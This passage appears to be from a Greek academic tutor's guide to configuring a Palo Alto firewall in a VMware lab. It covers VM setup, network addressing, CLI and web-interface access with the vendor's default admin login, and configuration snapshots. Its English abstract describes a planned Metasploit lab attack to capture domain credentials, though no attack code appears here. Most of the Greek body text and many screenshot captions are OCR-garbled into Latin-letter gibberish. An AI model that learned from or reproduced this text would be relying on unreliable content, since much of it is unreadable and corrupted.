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Abstract

This paper is a guide for the tutor and accompanies powerpoint presentations. In this
paper we have used the capabilities of a Palo Alto firewall in a virtual environment. We firstly
created a network that included Palo Alto. We have modified policies aimed at the
requirements of a hypothetical organization. We have created policies that allow or deny
users access to the Internet. We have also created policies based on the security needs of the
organization. On the next step we have integrated Palo Alto into a Windows Domain
environment with Active Directory so that it works harmoniously, with the goal of being part
of the infrastructure and not as a separate tool. Finally, we have tried two configurations, one
unsecure and one secure, to launch a remote code execution attack on one of the
workstations. For this purpose, we have used tools from Kali Linux and Metasploit to produce

malware that could help us recover credit domain users.
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Eloaywyn

JKOTOC TNG mapoucac epyaciag eival n Onuwoupyla evog odnyou yla Ttov
kaBnyntr/tutor. O 06nNyo6g autdg cuvodeleL pLa oeLpd amo Stadaveleg, powerpoint, pe Baon
TIC omoieg pmopel kKABe doltNTAC va KAVEL HLa apXLKN TTapapEeTpomnoinon o€ éva Palo Alto
firewall. Mmopel opwg akolouBwvtag TI¢ obnyie¢ mou mapouctalovtol AVOAUTIKA va

SnuoupynoeL o ocuvBeTa oevapla.

H ulomoinon KaAUTITEL CUYKEKPLUEVOUC OTOXOUG Tou Bécape o kaBe evotnta. Ot
oToxoL autol adopolV TOc0o o€ emAoYEC aodAAELOC, O0O0 KOL OE CUYKEKPLUEVEC ETILAOYEC TNG
TapaETpOToinonG Kat Staxeiplong tou Palo Alto. Kputripla amotéAecav, GUVOALKA OTNnV
TIOPOUETPOTIONCN, OXL MOVo To eminedo mpootaciag mou Ba emiteuxBel, oAAG Kal n
Suvatotnta eUKoAng Slaxelplong Kol €MEKTOONG META TNV OPXLKN TIAPAUETPOTIOINON Kol

Aettoupyia tou firewall.

SeAiba 10 ard 103



Palo Alto

1. NepBarlov epyaociag

Mpokelpévou va oAokAnpwBouv e enttuxia OAa ta Bripata mou neplypadovtal oto
TLAPOV KELUEVO lval amapaitnTo va €Xou e Tov anapaitnto eéonAlopo os hardware kal oe

software.
1.1.0 uOAOYLOTAC KOG

O umoAoyLoTr G TTou Ba XPNOLUOTIOLCOULE TIPETEL VAL LOG TIAPEXEL TNV AmapALTNTN
LoXV wote va SoUAEPOUV aIPOOKOTITO OAQ TOL ELKOVLKA NXAVALLOTO. XPNOLLLOTIOLCALE EVaV
umoAoyLlotn pe Intel i7 7" yevidg eme€epyaotr), okAnpo dioko SSD 480GB kat pvrpun RAM 8GB.
I6avika xpetalopaocte 16GB RAM. To Aettoupylkd cloTna Tou urtoAoyloth eivat Windows

10 Pro 19069.

JTOV UTIOAOYLOTH HOG UTTOPOULE VA EYKATAOTHOOUUE TNV dwpeav €kdoon 15.5 tou
VMware Workstation Player, adoU tnv kateBdooupe amd 1t  SlevBuvon

https://www.vmware.com/products/workstation-player/workstation-player-

evaluation.html. EVAANQKTIKA UITOPOULE VA XpNOLULOTIOL|coU e TNV €kSoaon Pro tou VMware

Workstation, edooov StaBetoupe tnv KatdAAnAn adeila xprong.
1.2.Ta €LKOVLKA pnxovnpota

JUVOALKA O€ OAn TNV OUYKEKPLUEVN TAPAWETPOTOLNON Tou mapouctaloupe Ba
XPELOOTOUE va Snuioupynooupe oto VMware KAMOLoUG ELKOVIKOUG UTIOAOYLOTEG E
Aettoupyko cvotnua Ubuntu, Windows Server 2016, Windows 7 Pro 64bit SP1 kat évav
ELKOVLKO uTtoAoyLotn pe KALI Linux. e ewkovikn popodn Stabétoupe kal to Palo Alto Firewall.
Xpnowpomnowjoape to Ubuntu 18.04.3, To OMOIO UMOPOUUE VA TO KATEBACOUUE Qo Tn

SlevBuvon https://ubuntu.com/download/desktop, to KALI Linux 2019.2 mou to Bpiokoupe

otn dtevBuvon http://cdimage.kali.org/kali-images/kali-2019.2/ kat tov Windows Server rou

umopoUpe va Bpolpe wg evaluation amd tov Lototomo tng Microsoft otn SlevBuvon

https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016/. Taa Windows

7 Pro &gv SuatiBevral oto Evaluation Center tn¢ Microsoft aAAd pmopoupe va ta Bpole o€
S1ddopoug LoTOTOTOUC WG SOKLUAOTLKA EKSOON YLOL EVEVAVTA NUEPES, OTWG yLa TtapAdeLya

antd 1t 6levBuvon  https://softlay.net/operating-system/windows-7-professional-full-
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version-free-download-iso-32-64-bit.html, n Ané€n tng dokipaotikng €kdoong Sev emnpedlet

TN AELTOUPYLKOTNTA.

OAa ta moapandvw tTa LETaPOoPTWVOULE OTOV UTtIoAoyLoTr pag os popdn 1SO. To Palo

Alto mou €xoupe eival €tolpo mpog xprion and 1o VMware kaBwg eival tTng popdng ova,

Virtual Appliance.

H eykataoctaon tou VMware eivat pa mapa anAn Stadikacia Kal To Lovo Tou TIPETEL

va tpoog€oue gival n emtdoyn tng dwpeav adelag xpriong, onwg daivetat otnv Elkova 1.

Welcome to VMware Workstation 15 Player X

VMware Workstation 15 Player

(®) Use VMware Workstation 15 Player for free for
non-commerdial use

() Enter a license key to allow commerdial use:

Buy a commerdal use license

Cancel

Ewova 1 - Emtidoyn tne dwpeav ekdoong tou VMware

@ Mpwv amnoé Vv ekkivnon t¢ eykataotacng tou VMware nmpénel va Befaiwbolpe yia
v Unapén tou Microsoft Visual C++ Redistributable for Visual Studio 2015, 2017 and 2019.
Eav &ev TO €XOUME WUMOPOUME VO TO E€yKAtootnooupe amd Tt OSlevbuvon

https://support.microsoft.com/en-us/help/2977003/the-latest-supported-visual-c-

downloads, emiAéyovtag TNV KAt@AAnAn £€kdoaon yLa Tov enefepyaotr ou SLaBETOUE.
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2. AouAevovtag oto neplBarlov tov VMware

MpLv mpoXwpProOoUUE MIPENEL va KaBoplooupe kat va avtiAndBou e tnv TonoAoyia tou
Siktuou nmavw oto omnoio Ba evtayBei to Palo Alto kaBwg katl to eninedo npootaciag mou Ba
pog mapéxel. IStaitepn mpoooxn mpenel va §00el 0To yeEyovog OTL AELTOUPYOUUE OE €va

ELKOVLKO TtEpLBAAAOV.
2.1.TortoAoyia Siktuou

Y10 Siktuo autd umapyouv €va Firewall Palo Alto, Ubuntu VMs kat €va modem. Ot
uTtoAoyLoTég TIou éxouv Aettoupytkd ocvotnua Ubuntu! amoktolv npdoPaon oto Stadiktuo

HEow Tou Palo Alto kal tou modem onwcg ¢aivetat otnv Ekova 2.

Ewova 2 - TortoAoyia Stktuou
Ita firewalls tng Palo Alto pmopoUue va Bpoupe, avaAoya pE TO HOVTIEAO, BUPEG
ethernet kat pwa Bupa OSlaxeipong, management port. Itnv  ulomoincr Hag
xpnowuonotjoape tnv ethernetl/1 wg 1o e€wtepikd pag interface, mMou emkoWwVEL Pe TO

modem pog kat tnv ethernetl/2 wg to interface ywa 10 gowteptkd poag Siktuo. To

1 Ba unopoulioe va gival omoloSAMoTe ALToupyLKd cUOTNA
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management port Ba €xel mpooPacn oto Swadiktuo OTavV OAOKANPWOOUUE TNV

TIAPOETPOTIONON.

To yeyovog OTL BPLOKOUAOTE OE ELKOVIKO TEPLBAANOV LAC avayKalel va petafalouvpe
Alyo tnv tomoAoyia tou diktuou pag, adatpwvtag to modem kat Balovrog otn B€on Tou To

VMware (Ewkova 3). TEAOG, XPNOLUOTOLNCOUE Kol €va vm HE Aeltoupylko Ubuntu wg

-

£a)
W& o
;

uTtoAoyLoTr ou Ba pag fonBriostL otnv napapetponoinon tou firewall.

For Initial Configuration

V
Internet

Ewova 3 - TomoAoyia Siktuou géattiog touv VMware

2.2.Eykatdotaon Twv vms

ZeKWAUE ME TNV gykatdotacn tou Ubuntu vm mou XpnoLLOMOLRCOUE Yyl TNV
napapetpornoinon tou firewall. Apxika emAéyoupe tn Snuioupyia véou Virtual Machine
(Ewova 4) kat akodouBwvtag TG 0dnyieg tou VMware emidéyoupe to I1SO apyeio tou Ubuntu

(Ewova 5) mou katefacape vwpitepa.
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%l VMware Workstation 15 Player (Non-commercial use onl - 0 ®
[
Player v -~ 5 O[5

Welcoms to VMware

Workstation 15 Player

Create a New Virtual Machine

Create a new virtual machine, which will then be added to
the top of your library.

Open a Virtual Machine

Open an existing virtual machine, which wil then be added
to the top of your library.

Get advanced features such as snapshots, virtual network
management, and more.

Help
View oniine help,

This product is not licensed and is authorized for non-
commerdial use only. For commerdal use, purchase a
license. Buy now.

[

O,

@ Upgrade to VMware Workstation Pro
£

Ewova 4 - Evapén dnutoupyiag tou Ubuntu vm

New Virtual Machine Wizard X

Welcome to the New Virtual Machine Wizard
A virtual machine is like a physical computer; it needs an operating
system. How will you install the guest operating system?

Install from:

O Installer disc:

| E] ubuntu-18.04.3-desktop-amd64 10/13/2019 1:58 PM Disc Image File
-

= DVD RW Drive (E:)

(® Instaler disc image file (iso): ~

| v || Erowse...

= Select the installer disc image to continue.

(O Iwill install the operating system later.
The virtual machine will be created with a blank hard disk.

Ewova 5 - Emidoyn tou 1SO apyeiouv Ubuntu
Kata tn Slapkela TnG eykataotaong Hag divetal n Suvatotnta emAoyrng oVOUOTOG
XPNoTN Kal Kwdikou mpooPaong yia to véo Ubuntu pnxavnuo. EmAéape wg ovoua to “ds”

Kol W¢ KwLKO to “ds” (Etkova 6).
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New Virtual Machine Wizard X

Easy Install Information
This is used to install Ubuntu 64-bit.

Personalize Linux
Full name: | Ubuntu |

User name: |ds |

Password: I . |

Confirm: | . |

Ewova 6 - Anutoupyia xpriotn oto Ubuntu

TéNog, emAé€ape To dvopa tou VM wote va pumopoU e va to Eexwpiloupe (Ewkova 7),
evw Béoape tov Stabéatpo xwpo ta 40GB (Ewkova 8). Ta 20GB eival mpotelvopeva, aAAA KOAO

elval va €XouE EPLOOOTEPO XWPO, EGOCOV OL CUVONKEG TO ETILTPEMOUV.

New Virtual Machine Wizard X

Name the Virtual Machine
What name would you like to use for this virtual machine?

Virtual machine name:
| Ubuntu 64-bit |

Location:
|c:\Users\peroo.|ments\wmal Machines\Ubuntu §4-bit | [ Browse...

<Back ||| Next > || Cancel |

Ewova 7 - Ovouaocio tou Ubuntu vm
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New Virtual Machine Wizard X

Specify Disk Capacity
How large do you want this disk to be?

The virtual machine's hard disk is stored as one or more files on the host computer's
physical disk. These file(s) staft smal and become larger as you add applications,
files, and data to your virtual machine

Maximum disk size (GE): | “ I

Recommended size for Ubuntu 64-bit: 20 GB

(O Store virtual disk as a single file
(® Spiit virtual disk into multiple files

Splitting the disk makes it easier to move the virtual machine to another computer
but may reduce performance with very large disks.

Ewova 8 - KeGoptouog Stadéatuou ywpou tou Ubuntu vm
MNa to Palo Alto akohouBoupe Alyo Stadopetikn Stadikaocia kabwg sivatl éva £€Toluo
vm. EmAéyoupe To avolypa evog vm (Ewova 9), evtomiloupe to apyxelo mou €XOUUE Kot

KAvou e import (Etkova 10).

"1} VMware Workstation 15 Player (Non-commercial use only) - [m] X

[ ey

Player v | B - 5 T S

Welcome to VMware

r[]“““““ Workstation 15 Player

Create a New Virtual Machine

Create a new virtual machine, which wil then be added to
the top of your library.

Open a Virtual Machine

Open an existing virtual machine, which will then be added
to the top of your library.

Get advanced features such as snapshots, virtual network
management, and more.

Help
View onine help.

This product is not licensed and is authorized for non-
commerdal use only. For commerdal use, purchase a
license. Buy now,

[
s
@ Upgrade to VMware Workstation Pro
@
£

Ewova 9 - Emidoyn yia avotyua vm
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& PA-VM-ESX-7.1.0_AAC 4/12/2017 2:21 PM VA File

*~ Import Virtual Machine X /
- - - '
Store the new Virtual Machine !
Provide a name and local storage path for the new ‘
virtual mixchine.
-

-

[ PA-VM-ESX-7. 1.0_AAC -~

=

Storage path for the new virtual machine: * .~
C:\Users\DS \Documents\Virtubl Machines\PA-VM

Help

i

Ewova 10 - Eloaywyn apxeiou Palo Alto vm
Ovopaloupe kat maAL to vm (Eltkova 10), evw n pvApn ram mou elval amapaitntn yla
™ AsLtoupyia Tou eivat ta 4GB Kot 0 XwPOog ou amnaltteital otov dioko pag sivat ta 40GB. OL

600 QUTEC TIHEC lval TTPOKOOOPLOUEVEG OTO VM TIOU £XOULE.

ITNn OUVEXELX TIOPAUETPOMOLOUME TIC KAPTEC SIKkTUOoU Tou Slabétel to Palo Alto pe
Baon ta 6oca €xoupe avadépel. MNpemel edw va MPOCEEOVUE TNV avIloTolxia HETAEY TwV
Kaptwv O&lktuou Tou Palo Alto vm kat Ttwv interfaces mou é£€xoupe emAé€el va
xpnotpomnotjooupe. To “Network Adapter” eival to management port, to “Network Adapter
2” Ba elval To ethernetl/1, dnAadn to e€wteptkd pag interface kat to “Network Adapter 3”
Ba eival To ethernetl/2, 6nAadn to ecwtepko pag interface. Itnv Ewova 11 daivovral ot

QpXLKEG puBULoEeLg TTou €xeL To Palo Alto vm, Tig omoieg Ba aAAAEOUE OTN CUVEXELQ.
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Virtual Machine Settings

Hardware Qptions

Device

E=Memory
il:EProcessnrs

=\ Hard Disk {SCSI)
(") C0/OVD (IDE)

Summary

4GB

2

40 GB

IUsing unknown backend
MAT

Bridged (Automatic)
Bridged (Automatic)

Palo Alto

Ao Metwork Adapter 4 Host-only

Mo Metwark Adapter 5 Host-only

Ao Metwork Adapter & Host-only

Clpisplay 1 monitor

Ewova 11 - Ot kapteg Stktuou tou Palo Alto vm, xwpic mapauetponoinon
Zeklvape TG alayEg. Emdéyoupe n Seltepn kapta diktuou, n omoia Ba eival to
e€wteplko pag interface, va gival oe NAT Aeltoupylal WOTE Vol ETIKOWVWVEL PE To Sdtadiktuo.
MNna ta aMa dvo interfaces xpnolwpomotnoape ™ Suvatotnta ywa Virtual Networks tou
VMware. 3to “Network Adapter”, Bupifoupe OtL mpokeLtal yla To management port, divoupe
™mv TR VMnet2 kot oto “Network Adapter 3”, Bupiloupe ot sival to interface tou

go0wtepLkoL SLkTUOoU, TNV TLUH VMnet3, onmwc BAémoupe otnv Ewkova 12.

Virtual Machine Settings X

Hardware  Options

Device Summary ooy .
29 amount of memary allocated to this virtual machine. The
Py iemory 18 memory size must be 8 multiple of 4 M8,
) Processors 2
[ Hard Disk (SCST) 068 Memory for this virtusl machine: 0% 2 e
D 05) a0 g backerd
Custom (VMnet2) “Gs
Nav nee
wGe
P s | o W Maimum recommended memory
o Network Adapter 5 Host-only 1 @ Yo —
CNetwork Adapter 6 Host-only o ocaur beyond the size.)
Closplay 1monitor
1G8 - 616
A 8 Recommended memory
2s6me
18
usMe
il Guest OS recommended mrmum
28 51218
5us
ame
ame
e

Ewkova 12 - Ot kapteg Siktuou tou Palo Alto vm, ueta tnv mapauetponoinon
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ITn OUVEXELD KAVOUWE TNV amapaitntn pubuwon oto Ubuntu vm mou Oa
XPNOLUOTIO)OOUHE YLl TO OpXLlkO configuration. EmiAéyoupe va Bécoupe oto “Network
Adapter” tnv tiun VMnet2 (Ewkova 13). Eival ouoLaoTtikd oav va cuvSEou e, He KaAwbLo, TV

kapta diktuou tou Ubuntu vm pe tTnv management port.

firtual Machine Settings
Hardware  Options

Device Summary 3[;’“ sk
EImemory 268 B connected
{Yrrocessors 1 [ Connect st power on
[ Hard Disk (SCST) 4068
00D (SATA Network connection

D Bridged: Connected drectly to the physical network

14 Sound Card Auto detect .
S Printer Presant )NAT: Used to share the host's [P address
Cloisplay Auto detect

D Host-only: A private network shared with the host
@ Custom: Specific virtual network

VMnet2

7 LAN segment:

LAN Segments... | | Advanced...

Ewova 13 - PuButon kaptac Stktuou Ubuntu vm yia configuration

2.3.Avayvwplon tou meptailovtog Siktuou tou VMware

Me bebopévo 6Tl SoUAEVOUE OE €LKOVLKO TTEPLBAAANOV, 0TO omoio ol puBuicelg Tou
SkTUoU Tou pag mapéxel o DHCP server tou VMware Sev gival ywvwoTéG KaBwg SV TG EXOUUE
kaBoploel eUelg, PMOpoUpE va xpnolpomoljooupe €va véo Ubuntu vm ywa va TG
avayvwplooupe. Anpoupyoupe éva véo vm Ubuntu omwg kat mpLy, e tn pévn dtadopad otL
emldéyoupe oto “Network Adapter” tnv tun NAT (Ewova 14). Me tov tpoOmo autd
ouvbeopaote aneubeiag oto Internet péow tou VMware. Emopévwg prmopoul e va SoUpE TNV

IP address kat netmask mou pag 6ivel o DHCP server tou VMware kaBwg kal to gateway.
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firtual Machine Settings

Hardware Qptions

Dewice Summary
Elmemary 268

Ewova 14 - PuBuion kaptac Stktuou deutepou Ubuntu vm
Zekwvape to VM mou dnuloupynoope. Emeldn n ouykekplpévn €kdoon Sev €xel
EYKATEOTNUEVA TA EpYaAEia TTOU XPeLalOpaOTE, Ta eykaOLoToUE. 2 éva terminal divoupue
Vv evtoAn “sudo apt install net-tools” (Ewkova 15) kat meptpévoupe va oAoKANpwOEel n

gyKkataotaon.

File Edit View Search Terminal Help

ds@ubuntu:~$ sudo apt install net-toolsﬂ

Ewéva 15 - Eykataotaon anAwy epyaieiwv yia avayvwplon SIKTuou

Extedolpe maAL og €va terminal tou Ubuntu 600 amAég evioAég. H mpwtn €ival n
“ifconfig”, n omola pag emotpédel, petalL aAwyv, To évoua tou interface, tn dievBuvon IP
kat tn Netmask. 2tn 8ikn pag nepimtwon PAENoupe nwg to interface sival to “ens33” katl n
IP eivatr n 192.168.147.130 (Ewoéva 16). e cuvbuaopo pe tn Netmask 255.255.255.0
avtidapuBavopaote ot oL SteuBuvoelg tou VMware pnopouUv va ival oto 192.168.147.0/24.
To VMware 6ivel by default 125 IP dieuBiUvoelg péow tou DHCP server tou 192.168.147.128-
192.168.147.254.
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ds@ubuntu:~$ ifconfig
ens33: flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500

inet 192.168.147.130 netmask 255.255.255.0 broadcast 192.168.147.255
inet6 fe80::4337:3dba:aeaB:ae47 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:1f:71:87 txqueuelen 1000 (Ethernet)

RX packets 6058 bytes 8045343 (8.0 MB)

RX errors © dropped @ overruns © frame ©

TX packets 1996 bytes 184813 (184.8 KB)

TX errors © dropped © overruns © carrier © collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0

inet6 ::1 prefixlen 128 scopeid 0x16<host>

loop txqueuelen 1000 (Local Loopback)

RX packets 283 bytes 23693 (23.6 KB)

RX errors © dropped © overruns © frame ©

TX packets 283 bytes 23693 (23.6 KB)

TX errors 0 dropped © overruns © carrier © collisions 0

Ewova 16 — ifconfig Bpiokovtag to DHCP range

I3

TéAog, divovtag tnv evtoAn “ip route” n “netstat -rn”, éxoupe tnv mAnpodopia yla tn

SlevBuvon otnv onola mpowBouvtal Ta attipata and tnv kapta Sdiktuou tou Ubuntu, t

6levBuvon Gateway, n omola €dw eivatl 192.168.147.2. ITn GOUVEXELQ HTIOPOULE Vo

QUTTEVEPYOTIOLGOUE auTO To Ubuntu vm.

ds@ubuntu:~$ netstat -rn
Kernel IP routing table

Destination
0.0.0.0
169.254.0.0

Gateway Genmask Flags MSS Window 1irtt Iface
192.168 0.0.0.0 UG 0 ens33
0.0.0.0 255.255.0.0 V) 0 ens33

192.168.147.0 0.0.0.0 255.255.255.0 U 0 ens33

ds@ubuntﬁ£

169.254.0.

;S ip route
default via 192.168.147.2 dev ens33 proto dhcp metric 100

0/16 dev ens33 scope link metric 1000

192.168.147.0/24 dev ens33 proto kernel scope link src 192.168.147.134 metric 1

00

Ewova 17 - Ip route Bpiokovtac to gateway

@ Evallaktikd, av Béloupe va doUpe Ta MOPATAVW XWPLG TN XPrion KAToLou vm 1

OKOMA KOL VA Ta LETABAANOUE UTTOPOUUE va avoifou e To apxeio “vmnetdhcp.conf” to onolo

Bploketal oto “%ALLUSERSPROFILE%\VMware”. To ouykekplpévo apxeio mepthapufavel to

configuration Twv diktowv Tou VMware.

Evnuepwvoupe to Staypappa (Etkova 18) mou meplypddel Tnv TomoAoyio SIKTUOU pE

TIG vEeg MAnpodopieg Tou cUANAEEQE.
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_~""" Forlnitial Configuration

192.168.147.024

Gateway:
192.168.147.2

Internal Network

Ewova 18 - TortoAoyia Stktuou pe mAnpopopiec ano VMware
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3. Apxwkn mapapetpornoinon tou Palo Alto

210 KepAAOLO AUTO MEPLYPAdOUE T BHLATO TIOU ATALTOUVTAL WOTE VO UTIOPECOU UE

VO KAVOULLE TNV apXLKN apapetponoinon tou Pala Alto Firewall.
3.1.Apxkn mapapeTpomnoinon tou management interface

Yuvdeopaote oto Terminal tou Palo Alto oto VM mou ektelel to firewall. e éva
dUOLKO pnxavnua autod Ba ywotav pe T XPnon Tng Bupag emikowvwviag mou UTtAPXEL
ouvnBwWC KAl KE TN XPHOoN EVOC MPOYPAUOTOC EMIKOWVWVIAG Onw¢ gival to PUTTY. To Palo
Alto PBploketal 0e KATAOTAON OVAUOVAGC TIPOKELUEVOU VO OUBOEVIIKOTIOLOEL KoL Vo
€€ouol080TNOEL KATIOLOV XPNOTN HE TA amapaitnTa Sikalwpata. XPnolUOMOLOUUE TOUG
default kwdwkouc yla t ouvdeon mou eivatl Username: “admin” kat Password: “paloalto”.
Metd tnv emnituyn ouvdeon BPLOKOUOOTE OTO TIEPLBAANOV QVOLOVAC EKTEAEONG EVIOAWV

(Ewkova 19).

@ Elval amapaitnto va mepilpuévou e 3-4 AemTA PETA TNV OAOKANpWON TNC EKKIvNONG Tou

Palo Alto vm TpoKeléVOU va €l0AYOUE Ta otolxela ouvdeong, Stadopetika exoupe fail

login.

PA-UM login: admin
Password:

ord:
login: Tue Sep 13 B6:17:88 on ttyl

Number of failed attempts since last successful login: 8

adMin@PA-UM>

Ewkova 19 - Erutuyric ouvdeon oto Palo Alto terminal
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MNa va ewéABoupe oto meplBaAlov aAlayng pubuicewv Sivoupe tnv €VvioAn
“configure”. H emtuxng eloodog emiBeBatwvetal pe Tnv UTtapén tou pound symbol, # (Etkova
20).

admMin@PA-UM> | configure

Entering configuration mode
[edit]

admin@PA-UM#

Ewova 20 - Eicobog oto configuration terminal tou Palo Alto

@ MpLv MpoXwWProoUKE ival TTOAU onUavtiko va yvwpiloupe otL ontotadnmote aAlayn
KAvoue oto configuration tou Palo Alto, eite and Terminal eite and to Web Interface
opyotepa, dev epapudleTal avtopata ano tn cuokeur. Elval anapaitntn n mAnktpoAoynon
N n €moyn NG evtoAng “commit”. Emiong, ylwa va mMPooB€0OUUE KATL Kalvouplo oTnv
TIOPOUETPOTIONCN HOC Ttatdpe tnv emthoyn “Add”, mou Bploketal oto kKABs dopd evepyod

napabupo tou Web Interface.

ErmiAéyoupe Twpa va Swooupe pia StevBuvon IP oto management interface wote va
ETLKOLVWVNOEL TO management interface pe to vm Ubuntu mou é€xoupe ya tnv
TapaETpOToinon. Quuopaote otL to Ubuntu vm ocuvdéetal pe to Palo Alto péow tou virtual
network VMnet2. EmiAé€ape pia tuxaia IP StevBuveon, tnv 172.168.147.200, mou bev sival
oto range 192.168.147.0/24 to onoio Ba xpnotpomnolnBeil oto VMnet3. XpnolonoloU e Tnv
€VToAn “set deviceconfig system ip-address 172.168.147.200 netmask 255.255.255.0 default-
gateway 172.168.147.1” (Ewkova 21). Aev Eexvape va ypaoupe “commit” LeETA TNV EKTEAEDN

NG eVIOANG. TéAoG MANKTpoAoyou e “exit” yla va Byou e amnod to configuration.

admin@PA-U deviceconflg system ip-addr 172.1b8. 147. 288 net
255.8 default-gateway 172.168.147.1

[edit]
adMin@PA-UM# | commit

;e Ctrl+C to return to command prompt

admin@PA-UM# _

Ewkova 21 - Anobdoon IP SteuBuvaonc oto management interface
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3.2.Apxkn mapapetpornoinon tou Ubuntu vm

210 emopevo Bripa evepyomolovpe To Ubuntu vm mou Ba xpnoLUomoLooU e yLa TNV
mapapeTpomnoinon tou Palo Alto. Emeldry oto VMnet2 dev unapyel kamotog DHCP server Ba
dwooupe tnv IP dlevBuvon 172.168.147.100. Eav Sev €XOUUE €yKATEOTNUEVA TO EPYAAELQ

oTo vm akoAouBoU e Tic 0dnyleg Omwe mponyouuevwe. X terminal ekteAoUUE TNV EVIOAN

“sudo ifconfig ens33 172.168.147.100 netmask 255.255.255.0 up” (Ewkova 22). Mpooéxouue
OTL oTNV €VIOAN mou Swoape unmapxel To interface oto omoio Ba kGvoupe TN HETABOAN,

OUYKEKPLUEVA TO “ens33”. 2& AAAEC TIEPUTTWOELG QUTO UTTOPEL va SLadEpeL.

ds@ubuntu:~$ sudo ifconfig ens33 172.168.147.100 netmask 255.255.255.0 up
ds@ubuntu:~$ 1fconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.168.147.100 netmask 255.255.255.0 | broadcast 172.168.147.255
ether 00:0¢:29:1f:71:87 txqueuelen 1000 (Ethernet)

RX packets © bytes 0 (0.0 B)

RX errors © dropped 6 overruns © frame ©

TX packets 167 bytes 27437 (27.4 KB)

TX errors © dropped © overruns © carrier @ collisions ©

Ewova 22 - Aobdoon IP StevSuvancg oto Ubuntu yla mapauetponoinon
Ytnv Elkova 23 ¢aivetal n tomoAoyia Tou SIKTUoU He OAEG TIG VEEC TANPOodOpPLEC TTOU

oxetilovral pe tig IP SLeuBUVOELG TTOU XPNOLULOTIOLCOLLE.

) g

[\ 2 - %
2 - 172.168.147.100,
KT e
. For Initial Configuration
<A> S
! Vitnet2
i =
Internet 7
i -
\:7 172.168.147.200
[ = ==
@ ¢
N

Internal Network

Ewkova 23 - ToroAoyia Siktuou ue IP dteuduvaoelg yia mapaueTponoinon
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3.3.20vbeon oto Web Interface tou Palo Alto

To Palo Alto 6nwg 6Aa ta cuyxpova firewalls dtaBétel éva web interface to omolo
adevog pag Sivel tn Suvatotnta yio eUKOAN MapaETpOoToinon-Slaxeiplon Kal apETEPOU HOG
eTUTPENEL VA eTPBAENMOUE 60a cupBaivouv oTto SIKTUO poag. MNa va armoKTooU e TpooBaon
O€ aUTO XPNOLUOTIOLOUE Evav omtoudnmote ouyxpovo browser. ELELG XpNOLLLOTIOLCAE TOV
Mozilla Firefox, o omolog eivat mpo eykateotnuévoc oto Ubuntu. Ouudpaocte 6t n dievBbuvon
IP tou management interface tou Palo Alto eivain 172.168.147.200. Elodyoupe tn dievBuvon
https://172.168.147.200, 6nwg ¢paivetal otnv Elkova 24. Mia o£lpd amd HNVUROTA CXETIKA
HE TNV aoddAela tng ouvdeong eudavilovral Kal MpEnel va ta anodexbolpe yia va

TIPOXWPNOEL N ouvVSeon.

https://172.168.147.200/

Ewova 24 - Aroktwvroag tpooBaon oto Web Interface
Edooov 6Aa ta Bripata £xouv yivel cwotd Ba umapéel n 086vn cuvdeonc otnv omnoia
Ba npénel va kataxwpriooupe (Eltkova 25). ELoayou e OTwG KoL TTpLY T OToLXEL pag we €€NG
Name: “admin” kot Password: “paloalto”. Me autd ta otolxeia, mou ival ta default, £€xoupue

ouvdeBel wg Slaxelploteg kot BAEMou e To web interface.

B paloalto

Ewkova 25 - AuBevtikomoinon xpnotn Palo Alto

ApxKa To TpwTo Tou BAEmou e eivat to “Dashboard” (Elkova 26). 2 autd umtdpxouV

Hla oElpd amo yevikeég mAnpodopieg yia 1o firewall, omwg n IP dievBuvon, to HovtéAo, N
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€kdoon tou Pan0s, n adela xpriong, moloL xproteg elval cuvdedepévol oto firewall kat kamola

logs.
RN <& 172.168.147.200 O noeE =

B paloalio Dasherard. IS Monitor  Policies _ Dbjects __ Network __Device - —

Ewkova 26 - The Dashboard

3.4.XpAOLUEC CUUPBOUVAEC

H napapetpomnoinon evoc firewall Sev elvat eUkoAn umtoBeaon, 8Laitepa o TOAUTIAOKQ
neptBarlovra. JupPaivel ouxva ol SLAXELPLOTEC va KAvVouv oAAayEC Tou slvat TiBavo va
Snuwoupynoouv mpoBAnpata mou Ba epdavicBolv eite AUecO €LTE PE TO TMEPACHO TOU
Xpovou. Eival onpaviikd Aoumov vo eKPeTaAAeuToUpe Tt Suvatotnta amobrjkeuong tou
configuration mou €xoupe mpLv amod TG aAAAYEC Kal Katd T SlapKela autwyv. Auto Ba pog
OWOEL QMO QATMPOPAENTEC KOTAOTACELS TOU KOOTI{OUV O€ XPOVO KOL KATA OCUVETIELQ OE
xpnuata, kKabwg umapxel n duvatotnta emavadopag TNG MAPAUETPONOLNCNG TIOU EXOUHE

anoBbnkevoeL.
3.4.1. Arobrkeuon kal emavagdopd configuration

Zekwape va douAevoupe oto TAB “Device”, oto menu “Setup”. EmAéyoupe To tab
“Operations” onw¢ ¢aivetat otnv Ewkova 27. EmAéyoupe to “Save named configuration
snapshot” wote va anobnkeloou e To TPEXoV configuration. 2to emopevo Brpa MPEMEL va
dwooupe éva dévopa oto configuration mpog amobrkevon. H dtadikacia oAokAnpwvetal Ue

v eruBeBaiwon amobrikeuong (Ewkdva 28).
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PA-VM X

&« C @ D & htt 172.168.147.200/# ¢

pa lova v U -Q Monitor Policies Objects Network Device

(1 sewp
B8 High Availabiity
T Contig Auat

¥ Password Profies
s Adminstrators
£ Admin Roles

E8 Aumentcation Protie | Save "Save named configuration snapshot ||
qghmmm Sequence Save canddate corfiguratior

Elll User identication Load

B W Information Sources
v Ig8 Certficate Management Export  Export named conf . oshot
§ Centfcates

& Centficate Profie

# OCSP Responder

£ SSUTLS Service Profie
g scer

l§ Response Pages

Import  Ir

Ewova 27 - Enidoyn anodrikeuang tou configuration

2d Configuratior
Config saved 10 D5_001_Initial_confguration

Name | DS_001_Initial_configur ation|

Ewova 28 - Amodrkeuan configuration

Mpokelpévou va emavadEpoupe eva anobnkevpévo configuration, Soulevoupe otnv
(dla meploxn tou web interface. Aut tn ¢opd emhéyoupe “Load named configuration
snapshot” (Elkova 29). Zto emopevo napabupo enthéyoupe to configuration mou BéAou e va
enavadépoupe Kal Ba TpEnel oto TEAOG va epdaviobel véo mapdbupo mou Ba pog

eruPBeBatwvel otL to configuration €xel petadoptwOet (Etkova 30).
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B PAVM X Y NewTab X |+

< C @ D& 172.168.147.200 \

Dashboard ACC Monitor Policies Objects Network

Management peration: . WildFire

Configuration Management \

